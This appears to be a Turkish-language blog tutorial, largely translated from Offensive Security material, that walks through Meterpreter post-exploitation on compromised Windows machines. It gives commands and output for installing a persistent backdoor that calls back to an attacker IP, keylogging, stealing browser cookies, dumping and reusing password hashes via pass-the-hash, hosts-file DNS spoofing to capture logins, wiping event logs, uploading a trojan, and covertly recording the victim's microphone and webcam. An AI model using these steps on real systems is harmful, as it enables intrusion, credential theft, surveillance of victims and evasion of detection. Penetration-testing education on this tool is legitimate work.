Bu ayarlama sonrasında exploiti kullanarak devam ediyoruz. Şayet meterpreter üzerinde ikinci oturumumuz açılırsa exploit başarılı oldu demektir. İkinci oturuma bağlanarak tam erişimle devam edebiliriz. Yalnız local exploitlerle yetki yükseltirken önemli bir detayımız var. [vurgu color=”#dd3333″]getsystem[/vurgu] gibi komutların sonrasında, local exploitler çalıştırıldığında hata ile karşılaşabilirsiniz. Exploit, daha önce yetki yükseltme işlemi yaptığınızı varsayabilir. Şayet ikinci oturum açılmazsa ilk oturumdan devam ederek farklı taktikler denenebilir. 

Backdoor’un kalıcılığını sağlama yöntemleri

Sisteme girdikten sonra genelde en büyük isteğimiz sistemde kalabilmek. Bunun için de bazı yöntemler var. Yetki yükseltme aşamasında bahsettiğimiz migrate kısmını da kalıcılık kısmına dahil edebiliriz. Yaptığımız birçok işlem aslında sistemde tutunabilmek için.

persistence

[vurgu color=”#dd3333″]run persistence -h [/vurgu] komutu ile detaylarını öğrenebileceğiniz bu eklenti, otomatik olarak sistemde kalıcı olmamızı sağlayan işlemleri halleder.

  • -A: Backdoor dinlenmeye alındığında otomatik olarak bağlantı gelmesini sağlar.
  • -L </dizinismi>: Backdoor’un otomatik kayıt edileceği konum seçilir. Default durumda temp klasörü seçilir.
  • -P<payload>: Seçilecek olan payload girilir.
  • -S: Backdoor bir sistem dosyası gibi çalışır. Haliyle sistem yetkisinde çalışılır.
  • -i: Bağlantı isteklerinin kaç saniyede bir gönderileceğini buradan belirleyebilirsiniz.
  • -X: Sistem açıldığında çalışacak başka bir backdoorun kurulmasını sağlar.
  • -p: Bağlantının geleceği portu seçebilirsiniz. Backdoor için oluşturacağınız porttan bahsediyorum.
  • -r: Saldırganın IP adresi yazılır.

meterpreter > run persistence -A -U user -L C:\\windows\\system32 -i 20 -p 4444 -r 192.168.1.98

Diğer komutlar

keylogrecorder

Karşı tarafın bastığı her tuşu kaydedip incelemek mümkün. Farklı özelliklere sahip bu eklentinin diğer özellikleri için keylogrecorder -h komutunu kullanarak bilgi edinebilirsiniz. Aşağıdaki komutta ise önce [vurgu color=”#dd3333″]-t[/vurgu] parametresi ile  saniyelik bir kayıt aldık. Daha sonra ise kaydolduğu dizine giderek sonuçları listeledik.

meterpreter > run keylogrecorder -t  10

meterpreter > cat /root/.msf4/logs/scripts/keylogrecorder/192.168.1.98_20190210.1123.txt

keyscan

Bu araç ise çok daha basit bir tuş kayıt aracı. Start ile başlıyor, dump ile kayıtları ortaya döküyor, stop ile duruyor. Hepsi bu 🙂

meterpreter > keyscan_start

Starting the keystroke sniffer…

meterpreter > keyscan_dump

Dumping captured keystrokes…

meterpreter > keyscan_stop

Stopping the keystroke sniffer…

Browserlardan veri almak

Karşı makinenin browserları üzerinden cookie, geçmiş kayıtları gibi bilgileri çekmek mümkün. Farklı tarayıcılar için farklı komutlar gerekiyor. Kaydolan dosyaları SQLite Database Browser gibi araçlarla inceleyebilirsiniz. 

meterpreter > run post/windows/gather/enum_chrome

meterpreter > run enum/firefox

meterpreter > run post/windows/gather/enum_ie

Psexec pass the hash

Önceki yazıda makinedeki kullanıcıların hash bilgilerini elde etmiştik. Şimdi o kullanıcı hashleri ile sisteme giriş yapmayı deneyelim. Bu hashlerle giriş yapmak için, hashleri kırmaya gerek yok.

[vurgu color=”#dd3333″]exploit/windows/smb/psexec[/vurgu] exploitini kullanarak gerekli parametreleri giriyoruz. [vurgu color=”#dd3333″]SMBUser[/vurgu] kısmına hash üzerinde bulunan ilk kısmı, [vurgu color=”#dd3333″]SMBPass[/vurgu] kısmına ise, hash üzerindeki son ve uzun kısmı alarak giriyoruz. Yalnız kullanıcı adı sonrasında gelen kısa sayılar hariç. Örneğin:

[vurgu color=”#dd3333″]Administrator:500:aad3b435b51404eeaad3basd34:12f2wpcv139mnbpol109zxd09dfhg0[/vurgu]

Burada “Administrator” kısmı SMBUser alanına, “aad3b435b51404eeaad3basd34:12f2wpcv139mnbpol109zxd09dfhg0” kısmı ise SMBPass alanına girilecek. Sonrasında exploiti denediğimizde çalışacaktır. Birkaç sefer denemek gerekebilir. 

Versiyon öğrenme

Makinede yüklü olan yazılımların versiyonlarını öğrenmek için aşağıdaki komut yeterli olacaktır.

meterpreter > run get_application_list

Bazı donanımların kontrolünü sağlama

Siz bir işlem yaptığınız esnada karşı tarafta bir donanımın kullanılmaz olmasını, müdahale edememesini isteyebilirsiniz. Bu durumda aşağıdaki komut yeterli olacaktır

meterpreter > uictl disabled keyboard

meterpreter > uictl disabled mouse

Enable diyerek tekrar aktif hale getirebiliriz. 

DNS spoofing işlemi

DNS Spoofing, ayrı bir yazı konusu olmakla beraber özet geçmek gerekirse kullanıcıyı, bizim belirlediğimiz sayfaya yönlendirmek anlamına gelir. Bu şekilde kendi oluşturduğunuz sahte bir web sitesini, kullanıcının girdiği domain ile değiştirerek giriş bilgilerini elinden alabilirsiniz. Aşağıdaki örnekte, boşluktan  sonra belirtilen domaine girildiğinde, boşluktan önce yazılan IP adresine yönlendirilmesini sağlar. Örneğin test.txt isminde bir dosya oluşturalım ve içine şunu yazalım:

172.252.110.27 google.com

Daha sonra aracımızı nasıl kullanacağız ona bakalım.

meterpreter > run hostsedit -l text.txt

Not defterinden birden fazla web sitesini bu şekilde yönlendirmeye alabilirsiniz. Ancak bir tane yönlendirme yapacaksanız aşağıdaki komut yeterli olacaktır.

meterpreter > run hostsedit -e 172.252.110.27,google.com

CheckVM

Karşı makinenin sanal makine olup olmadığını teyit etmek için kullanılır.

meterpreter > run post/windows/gather/checkvm

Sniffing

Makine üzerindeki network paketlerinin takibini ve incelenmesini sağlar.

meterpreter > sniffer_start
[*]Capture started on interface 1 (50000 packet buffer)
meterpreter > sniffer_dump 1 /tmp/packets.cap

 

Kategoriler
Linux Metasploit Siber Güvenlik

Meterpreter ile Post Exploitation

Metasploit serisinde öğrendikleriniz, herhangi bir zafiyetli makineye girmeniz için yeterli. Ancak makineye girdikten sonra ne yapabileceğinizi de öğrenmeniz gerekiyor. Ki en az söz konusu kullanıcı kadar hareket kabiliyetimiz var. Bu yazıda meterpreter ile karşı makinede yapabileceklerimizden bahsedeceğim. Meterpreter içerisinde birçok script bulunduran bir araç. Bu scriptler, bizim, girdiğimiz sistemde daha hızlı işlem yapmamızı sağlar. Meterpreter, sistem üzerinde çalıştığı için antivirüslere yakalanma ve iz bırakma olasılığı çok düşüktür.

Yazımı Offensive Security’den çevirdim ve büyük oranda ondan faydalanmakla beraber bazı eklemelerde bulundum. Meterpreter’in detaylarını ise farklı bir yazıda hazırlayacağım.

help

meterpreter > help

Core Commands
=============

    Command       Description
    -------       -----------
    ?             Help menu
    background    Backgrounds the current session
    channel       Displays information about active channels
...snip...

Linux üzerindeki daimi kurtarıcımız “help” komutu ile başlayalım. Help komutu ile meterpreter üzerindeki komutların açıklamalarını öğrenebilirsiniz. 

background & sessions

Bir makineye girdiğinizde, o makinenin meterpreter erişimini kaybetmeden çıkarak başka işlem yapmak istiyorsanız background komutunu kullanabilirsiniz. Bu komut size birden fazla makineye bağlanma ve farklı exploitler deneme gibi imkanlar tanır.

Arka plana aldığınız makineleri listelemek için sessions yazmanız yeterli. Bağlanmak istediğiniz makine için ise sessions -i <ID> yazmanız gerek.

meterpreter > background
msf exploit(ms08_067_netapi) > sessions -i 1
[*] Starting interaction with 1...

cat

Bu komutu kullanarak karşı makinedeki txt ve türevi dosyaların içerisini okuyabilirsiniz.Tıpkı Linux üzerinde olduğu gibi…

meterpreter > cat
Usage: cat file

//Example usage:
meterpreter > cat edit.txt
What you talkin' about Willis

cd & pwd

Dizin değiştirmek için cd komutunu, hangi dizinde olduğunuzu görmek için ise pwd komutunu kullanabilirsiniz.

meterpreter > pwd
c:\
meterpreter > cd c:\windows
meterpreter > pwd
c:\windows
meterpreter >

clearev

Sistemde iz bırakmamak için basit bir önlem… Windows sistemlerde uygulama, sistem ve güvenlik günlüklerini temizleyecektir.

Komut öncesinde günlük:

https://www.offensive-security.com/wp-content/uploads/2015/05/Clearev_before.png

meterpreter > clearev
[*] Wiping 97 records from Application...
[*] Wiping 415 records from System...
[*] Wiping 0 records from Security...
meterpreter >
Komut sonrası günlük:
https://www.offensive-security.com/wp-content/uploads/2015/05/Clearev_after.png

Download

Karşı makineden dosya indirmemizi sağlar.

meterpreter > download c:\\boot.ini
[*] downloading: c:\boot.ini -> c:\boot.ini
[*] downloaded : c:\boot.ini -> c:\boot.ini/boot.ini
meterpreter >

Karşı makineden hangi dizine indireceğinizi belirtmek için ise aşağıdaki yöntemi izlemeniz gerekiyor.

meterpreter > download -r metin.txt /root/Desktop

[*] downloading: c:\metin.txt -> /root/Desktop/metin.txt
[*] downloaded : c:\metin.txt -> /root/Desktop/metin.txt

Edit

Metin ve türevi dosyaların üzerinde değişiklik yapmamızı sağlar. Vim aracını kullanır.
meterpreter > edit edit.txt

Execute

Karşı makinede komut çalıştırabilmemizi sağlar. Aşağıdaki örnekte bizim için cmd.exe’yi çalıştıran bir komut var. Sonrasında yazacağımız komutları cmd üzerinden devam ettirebiliriz.

meterpreter > execute -f cmd.exe -i -H
Process 38320 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

Getuid

Hangi yetkilerle erişimde bulunduğumuzu belirtir. Duruma göre yetki yükseltme işlemlerine geçilir. Bunları ayrı bir yazıda anlatacağız.

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

Hashdump

En tatlı komutlarımızdan birisi 🙂 Sisteme ait kullanıcıların, kullanıcı adları ve hashleri elimizde. Hashleri kırmak için uğraşmanıza gerek yok. Onları kullanarak zaten sistemde o kullanıcı üzerinden giriş yapabiliyor olacağız. Ancak bu da başka bir yazının konusu.

meterpreter > run post/windows/gather/hashdump 

[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 8528c78df7ff55040196a9b670f114b6...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hashes...

Administrator:500:b512c1f3a8c0e7241aa818381e4e751b:1891f4775f676d4d10c09c1225a5c0a3:::
dook:1004:81cbcef8a9af93bbaad3b435b51404ee:231cbdae13ed5abd30ac94ddeb3cf52d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:9cac9c4683494017a0f5cad22110dbdc:31dcf7f8f9a6b5f69b9fd01502e6261e:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:36547c5a8a3de7d422a026e51097ccc9:::
victim:1003:81cbcea8a9af93bbaad3b435b51404ee:561cbdae13ed5abd30aa94ddeb3cf52d:::
meterpreter >

idletime

Karşı makinede kullanıcının ne zamandır boşta olduğunu belirten komut.

meterpreter > idletime
User has been idle for: 5 hours 26 mins 35 secs
meterpreter >

ipconfig

Windows makinede olduğunuzu varsayarsak ağ arayüzünü görüntüler. Yerel IP adresi, alt ağ maskesi ve varsayılan ağ geçidi gibi bilgileri verir. 

meterpreter > ipconfig

MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address  : 127.0.0.1
Netmask     : 255.0.0.0

AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport
Hardware MAC: 00:0c:29:10:f5:15
IP Address  : 192.168.1.104
Netmask     : 255.255.0.0

meterpreter >

ls

Siz meterpreter ekranı boyunca karşı makinede işlem yapıyorsunuz. Ancak kendi makinenizdeki dosyaları incelemeniz gerekirse ne yapacaksınız? Bu durumda devreye bu komutlar giriyor. lpwd ile yerel makinenizde hangi dizinde bulunduğunuzu, lcd ile ise yine yerel makinenizde hangi dizine geçmek istediğinizi belirtebilirsiniz.

meterpreter > lpwd
/root

meterpreter > lcd MSFU
meterpreter > lpwd
/root/MSFU

meterpreter > lcd /var/www
meterpreter > lpwd
/var/www
meterpreter >

ls

Linux üzerinde yaptığınız gibi, bulunduğunuz dizindeki dosyaları listelemenizi sağlar.

meterpreter > ls

Listing: C:\Documents and Settings\victim
=========================================

Mode              Size     Type  Last modified                   Name
----              ----     ----  -------------                   ----
40777/rwxrwxrwx   0        dir   Sat Oct 17 07:40:45 -0600 2009  .
40777/rwxrwxrwx   0        dir   Fri Jun 19 13:30:00 -0600 2009  ..
100666/rw-rw-rw-  218      fil   Sat Oct 03 14:45:54 -0600 2009  .recently-used.xbel
40555/r-xr-xr-x   0        dir   Wed Nov 04 19:44:05 -0700 2009  Application Data
...snip...

ps

ps komutu ile karşı makinede çalışan processleri listeleyebilirsiniz.

meterpreter > ps

Process list
============

    PID   Name                  Path
    ---   ----                  ----
    132   VMwareUser.exe        C:\Program Files\VMware\VMware Tools\VMwareUser.exe
    152   VMwareTray.exe        C:\Program Files\VMware\VMware Tools\VMwareTray.exe
    288   snmp.exe              C:\WINDOWS\System32\snmp.exe
...snip...

Record Mic

record_mic komutu ile karşı makinenin mikrofonundan ses kaydı alabilirsiniz. Bu bir görüşmeye de ait olabilir, o anki ortama ait kayıt da olabilir. -d parametresi ile kaç saniye kayıt alacağını belirleyebilirsiniz. Siz belirtmezseniz Ctrl+C komutuna kadar kaydetmeye devam edecektir. -f parametresi ile ise makinenizde nereye kaydedeceğinizi belirtebilirsiniz.

meterpreter > record_mic -d 30 -f root/Desktop/kayit.wav

Resource

Bu komut ile verdiğiniz kaynaktan alınan komutların arka arkaya çalışmasını sağlayabilirsiniz. Metin belgesine yazdığınız her satır bir komut olarak kabul edilecektir. Karşı makinede çalıştıracağınız komutların hızlı ve otomatize bir şekilde gerçekleşmesini sağlayabilirsiniz. Şöyle örnek verelim, aşağıdaki bizim dosyamız olsun:

root@kali:~# cat resource.txt
ls
background
root@kali:~#

Şimdi bu dosyayı resource ile çalıştıralım. 

meterpreter> > resource resource.txt
[*] Reading /root/resource.txt
[*] Running ls

Listing: C:\Documents and Settings\Administrator\Desktop
========================================================

Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
40777/rwxrwxrwx   0       dir   2012-02-29 16:41:29 -0500  .
40777/rwxrwxrwx   0       dir   2012-02-02 12:24:40 -0500  ..
100666/rw-rw-rw-  606     fil   2012-02-15 17:37:48 -0500  IDA Pro Free.lnk
100777/rwxrwxrwx  681984  fil   2012-02-02 15:09:18 -0500  Sc303.exe
100666/rw-rw-rw-  608     fil   2012-02-28 19:18:34 -0500  Shortcut to Ability Server.lnk
100666/rw-rw-rw-  522     fil   2012-02-02 12:33:38 -0500  XAMPP Control Panel.lnk

[*] Running background

[*] Backgrounding session 1...
msf  exploit(handler) >

rm

Bu komut ile karşı makineden dosya silmeniz mümkün. Silinen dosyalar geri dönüşüm kutusuna veya başka yere düşmez. Tamamen kaldırılır.

meterpreter > rm dosyaismi.txt

Screenshot

Bu komut sayesinde ise makineden ekran görüntüsü almak mümkün. screenshot -h parametresi ile detayları öğrenebilirsiniz. Aşağıdaki örnekte -p parametresi, ekran görüntüsünün sizin makinenizde nereye kaydedileceğini, -q parametresi ise görüntü kalitesini belirler. Varsayılan ayar 50’dir.

meterpreter > screenshot -p /root/Desktop/screenshoot.jpeg -q 75
Screenshot saved to: /root/Desktop/screenshoot.jpeg

Search

Search komutu anlayacağınız üzere, karşı makinede dosya aramamızı sağlar. Belirli bir dosya adı arayabileceğimiz gibi, belirli bir dosya türünden olan tüm dosyaları arayabilir, aynı zamanda belirli bir dizinde arama yapabiliriz. Aşağıda kullanımına dair birkaç örneğe yer verdim.

meterpreter > search -f autoexec.bat
Found 1 result...
    c:\AUTOEXEC.BAT
meterpreter > search -f sea*.bat c:\\xamp\\
Found 1 result...
    c:\\xampp\perl\bin\search.bat (57035 bytes)
meterpreter > search -f *.bat 
Found 1 result... 
    c:\AUTOEXEC.BAT

Shell

Yukarıda bir yerlerde cmd.exe dosyasını çalıştırmıştım gördünüz mü? Cmd.exe için onu unutabilirsiniz. Siz onu başka exe dosyalarında kullanın. cmd.exe için meterpreter ekranına shell yazmanız yeterli. Bundan sonrasında windows komutları ile devam edebilirsiniz. exit komutu ile komut penceresinden meterpretera dönebilirsiniz.

meterpreter > shell
Process 39640 created.
Channel 2 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

Upload

Karşı makineden dosya çekebildiğiniz gibi kendi makinenizden karşı bilgisayara dosya da gönderebilirsiniz. Belki de orada sizin çalıştırmak istediğiniz bir exe dosyası vardır. Onun için de upload komutunu kullanıyoruz.

meterpreter > upload /root/Desktop/evil_trojan.exe c:\\windows\\system32
[*] uploading  : /root/Desktop/evil_trojan.exe -> c:\windows\system32
[*] uploaded   : /root/Desktop/evil_trojan.exe -> c:\windows\system32\evil_trojan.exe
meterpreter >

Webcam

Eğlenceli komutlardan birisi olan webcam ile karşı makinenin kamerasından anlık fotoğraf alabilir, video kaydedebilirsiniz. Peki birden fazla kamera varsa? O zaman hangisinden isterseniz ondan kayıt alırsınız.

webcam_list: Hedef makinede bulunan webcamleri listeler.

webcam_chat: Karşılıklı bir görüntülü konuşma başlatabilirsiniz.

webcam_stream: Bu komutla karşı makineden kamera kaydı alırsınız. Tarayıcınızda açılan sayfa üzerinden takip edebilirsiniz ve -t parametresi ile görüntüleri nereye kaydetmek istediğinizi belirtebilirsiniz.

webcam_snap: Karşı makinenin kamerasından anlık fotoğraf çeker. Aşağıda bir örnek var. Bu örnekteki -i parametresi kamera ID’si oluyor:

meterpreter > webcam_snap -i 1 -v false
[*] Starting...
[+] Got frame
[*] Stopped
Webcam shot saved to: /root/Offsec/YxdhwpeQ.jpeg
meterpreter >

Ufak bir not: Kapaktaki çocuk muhtemelen ilginizi çekti. Çok da alay etmeyin isterseniz. Kendileri akıllı oyuncakları dinleme cihazına dönüştüren 12 yaşında bir çocuk. https://www.cbsnews.com/news/reuben-paul-12-year-old-cyber-ninja-cyber-security/